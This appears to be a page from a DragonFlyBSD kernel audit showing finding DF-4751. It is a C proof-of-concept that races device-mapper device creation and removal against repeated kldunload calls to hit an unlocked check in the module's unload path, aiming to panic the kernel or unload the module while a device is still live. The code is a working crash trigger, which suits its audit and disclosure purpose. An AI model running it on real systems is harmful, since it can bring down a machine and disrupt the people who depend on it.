⬢ DragonFlyBSD Kernel Audit
DF-4751 / dm_unloadrace.c
← back to finding ↓ download raw
/*
 * DF-4751 PoC -- dm_modcmd(MOD_UNLOAD) admits its own race window:
 *
 *   sys/dev/disk/dm/device-mapper.c:154-169
 *     case MOD_UNLOAD:
 *         if (dm_dev_counter > 0)
 *             return EBUSY;
 *         [race window here -- source comment admits it]
 *         error = dmdestroy();
 *
 * dm_dev_counter is checked without any lock and dmdestroy() then tears down
 * the control cdev and the global dm_dev_list/dm_dev_mutex
 * (dm_dev_uninit -> lockuninit) while a concurrent NETBSD_DM_IOCTL "create"
 * on /dev/mapper/control may be between dm_dev_counter++ (dm_dev_insert,
 * dm_dev.c:193) and its later list/lock uses -- or may complete entirely
 * after the check, leaving a live dm disk whose ops belong to an unloaded
 * module.
 *
 * Harness: one thread churns create<->remove (counter oscillates 0<->1),
 * another hammers kldunload dm (almost always EBUSY; the interesting window
 * is the instant counter==0 between remove and next create).
 *
 * Privilege: /dev/mapper/control is 0640 root:operator -> run as root.
 * Observable success: kernel panic (lockmgr/TAILQ on torn-down state), or
 * unload succeeding while a device exists (check: /dev/mapper entries after
 * the run, kldstat).
 *
 * Build: cc -o dm_unloadrace dm_unloadrace.c -lprop -lpthread
 * Run:   ./dm_unloadrace <seconds>
 */
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"
#define DEV_NAME "df4751dev"

static volatile int stop;

static int
send_ioctl(int fd, prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4);
	prop_array_add_uint32(ver, 0);
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int
create_dev(int fd)
{
	prop_dictionary_t dict = new_dm_dict("create");
	int rv;

	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

static int
remove_dev(int fd)
{
	prop_dictionary_t dict = new_dm_dict("remove");
	int rv;

	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

static void *
churn(void *arg)
{
	int fd, creates = 0, removes = 0, errs = 0;

	while (!stop) {
		fd = open(DM_CONTROL_DEV, O_RDWR);
		if (fd < 0) {
			errs++;
			usleep(1000);
			continue;
		}
		if (create_dev(fd) == 0)
			creates++;
		else
			errs++;
		if (remove_dev(fd) == 0)
			removes++;
		else
			errs++;
		close(fd);
	}
	fprintf(stderr, "churn: creates=%d removes=%d errs=%d\n",
	    creates, removes, errs);
	return (NULL);
}

static void *
unloadhammer(void *arg)
{
	int unloads = 0, loads = 0, status;

	while (!stop) {
		status = system("/sbin/kldunload dm >/dev/null 2>&1");
		if (status == 0) {
			unloads++;
			fprintf(stderr, "unloadhammer: UNLOADED dm (%d)\n",
			    unloads);
			usleep(2000);	/* widen churn exposure */
			if (system("/sbin/kldload dm >/dev/null 2>&1") != 0)
				fprintf(stderr, "unloadhammer: kldload FAILED\n");
			else
				loads++;
		}
	}
	fprintf(stderr, "unloadhammer: unloads=%d reloads=%d\n", unloads, loads);
	return (NULL);
}

int
main(int argc, char **argv)
{
	int secs = (argc > 1) ? atoi(argv[1]) : 20;
	pthread_t t1, t2;

	if (system("/sbin/kldload dm >/dev/null 2>&1") != 0)
		;/* already loaded is fine */
	pthread_create(&t1, NULL, churn, NULL);
	pthread_create(&t2, NULL, unloadhammer, NULL);
	sleep(secs);
	stop = 1;
	pthread_join(t1, NULL);
	pthread_join(t2, NULL);
	system("ls -l /dev/mapper/ 2>/dev/null");
	system("kldstat | grep dm");
	return (0);
}